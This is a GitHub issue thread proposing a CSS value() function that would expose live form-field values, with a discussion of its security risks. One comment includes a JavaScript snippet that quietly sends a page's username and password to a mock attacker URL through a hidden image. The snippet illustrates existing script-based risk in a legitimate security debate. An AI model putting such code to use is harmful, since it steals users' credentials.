-
Notifications
You must be signed in to change notification settings - Fork 659
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
[css-values-5] value()
function
#7869
Comments
value()
function
Concern: if the value can be concatenated with strings/urls, then this would make it easier for attackers to exfiltrate information. See #5136 |
@Loirooriol Couldn't attackers do that in the console by simply using I'm also not so sure this would be easier than using JS for such attacks. I really appreciate your feedback, and I'd love to keep discussing it to find an implementation/spec that's as safe and as it is powerful. |
Not attackers with physical access that can use the console. I mean attackers that use XSS or something to insert malicious third-party CSS into a legitimate website. And sure, if the attacker can inject JS then it will be trivial, but typically there are more protections against JS injection than against CSS injection. Just mentioning this since some concerns were already raised about |
@Loirooriol Yeah, it's a valid concern. I think it would be worth having a larger conversation about protecting against that before implementing a feature like this. I don't think we necessarily need to protect against injected styles/scripts from browser extensions, since those generally have local access to the console. However, maybe we can block outside style-injection attacks like that under the same umbrella of XSS security. |
value()
functionvalue()
function
Apologies, but I don't understand how your example is intended to work. You're using attr() and value() on the input itself to set some custom properties, but these properties are only visible to the input itself (and its pseudo-elements). But then you try to use those properties on a span elsewhere in the DOM, with no way for it to see the input's values for the properties. Ohhh, I see you're using your other idea for a "global" variable that resolves its value to the most specific rule setting it and is then visible to the entire page. Without that, are there still reasonable use-cases for this? |
@tabatkins Hi Tab, yes, sorry— I didn't call out the related issue #7866 very "loudly" in my brief, so it could easily have been missed. My apologies for that. Without that, there are use cases for the element itself and pseudos as you said, but no, the real value (ha) here would likely source from the value being exposed via the sort of change proposed in #7866. Thanks for thinking through this. Not sure if there's a way to press pause on this issue until the other is resolved or until this otherwise makes sense 🤷🏻♂️ |
As mentioned above, this raises security concerns similar to the ones described in web-platform-tests/interop#86 (comment) Specifically, this would allow CSS injections to steal sensitive secrets from the DOM, even in situations where such injections are prohibited from executing scripts due to Content Security Policy restrictions. An additional aspect is that, as proposed, this would also allow the leaking of |
@arturjanc Couldn't a script that has access to injecting elements already perform a similar attack like this? const maliciousPasswordSender = document.createElement('img');
maliciousPasswordSender.width = 1;
maliciousPasswordSender.height = 1;
maliciousPasswordSender.style.position = 'fixed';
maliciousPasswordSender.style.bottom = 0;
maliciousPasswordSender.style.right = 0;
document.body.append(maliciousPasswordSender);
const username = () => document.getElementById('username');
const passwordField = document.querySelector('[type="password"]');
passwordField.addEventListener('change', () => {
const baseUrl = 'http://houseofcybercrime.com/stashpass';
maliciousPasswordSender.src = `${baseUrl}?user=${username.textContent}&password=${passwordField.value};
}) I do acknowledge the vulnerability you're pointing out; I'm just trying to understand how that is more insecure than what is already in place. Perhaps for this case specifically, what could help here to avoid any additional security vulnerabilities with |
|
A script by definition has full same-origin access to the data in the origin of the application which executes the script. A stylesheet, while still quite powerful, is much more limited in the data it can access. When we increase the capabilities of CSS, we need to take into account how these capabilities will affect existing websites -- this is where concerns around the effect on content passed through CSS sanitizers or the potential for Content Security Policy bypasses come in. Limiting |
Yeah, I'm all for that! With that in mind, maybe this could actually work using something as simple as a special HTML attribute that browsers will require elements to have in order to execute either CSS |
Circling back to this as it's been a while since the last activity. Are there any steps I can take to push this proposal forward, along with its related dependency #7866? |
From a security perspective the approach we talked about above would likely make this okay, so this probably boils down to whether CSS editors support this proposal and if there's implementer interest in making it happen. |
The problem
CSS doesn't yet have a way to retrieve the
value
property for an input/select/textarea/etc or to use/reuse those values in any useful way since we can't pass values up the cascade and form field elements generally (ever?) don't have descendant elements.It's possible to set the
value
attribute on a form field but not to use the updated value of that field once it's been changed via user input. often the case that when the value of that field changes, the attribute itself remains the same, standing more so as a reference to the field's initial value than an indicator of its "live" value.In other words, without using JS, access to a field's value is impossible.
Description of the proposal
I propose adding a
value()
function which returns the active or "live" value of any value-holding element, namely form fields. The syntax would be fairly similar to the existing & futureattr()
syntax.Background
As mentioned in "The problem" section above, since we can't pass values up the cascade and form field elements don't have descendant elements, in order for this function to be useful, it needs a way to expose these values in such a way that they can be re-used throughout the cascade, even in other areas not neighboring the fields themselves.
For this reason, this issue should be treated as a stacked issue atop #7866
Issue #7866 provides a way for any CSS values to be stored at a global scope and be re-used as needed.
Syntax
Usage
The single syntax argument would be optional, equipping a developer to set the intended syntax for the result, where leaving it empty would use the field's intrinsic syntax.
For example, using…
value(number)
orvalue()
oninput[type="number"]
orinput[type="range"]
would result in a number value, sincenumber
is the intrinsic syntax for those input typesvalue(string)
oninput[type="number"]
orinput[type="range"]
would result in the field's value but parsed as a string which could then be used anywhere a string could be used (e.g. thecontent
property of a pseudo-element)value(string)
orvalue()
on any of the following types would result in a string/text value, since that is the intrinsic and intended syntax for those input typesinput[type="text"]
input[type="email"]
input[type="tel"]
input[type="search"]
input[type="url"]
input[type="radio"]:checked
input[type="checkbox"]:checked
select > option:selected
textarea
value(number)
on any of these ☝🏼 however would result in the field's value parsed as a number. In any case where that numeric parsing fails, that declaration is ignored and skipped. When the pasring succeeds, the number returned can be used anywhere a number would normally be accepted.value(color)
orvalue()
oninput[type="color"]
would result in a color value, sincecolor
is the intrinsic syntax for that input typesConsiderations
select
,checkbox
, andradio
button values, but after giving it more thought, I think those should work as desired naturally. The key difference—as mentioned in the "Usage" examples above—is that a developer should store the value for the active (:checked
or:selected
) field itself, not just allselect
/checkbox
/radio
fields, like this:MutationObserver.observe
,value
changes would likely be more appropriately tracked using theinput
andchange
events.A more complete example
How might this look in practice?
This example demonstrates how you might use
value()
paired withattr()
and global variables to take a range input's value, min, and max values and create a label and makeshift progress bar using them, all done using only CSS.This is just one example, and many more could be made, and I have no doubt I'll create several more as I continue to iterate on this concept and work toward a viable implementation.
The text was updated successfully, but these errors were encountered: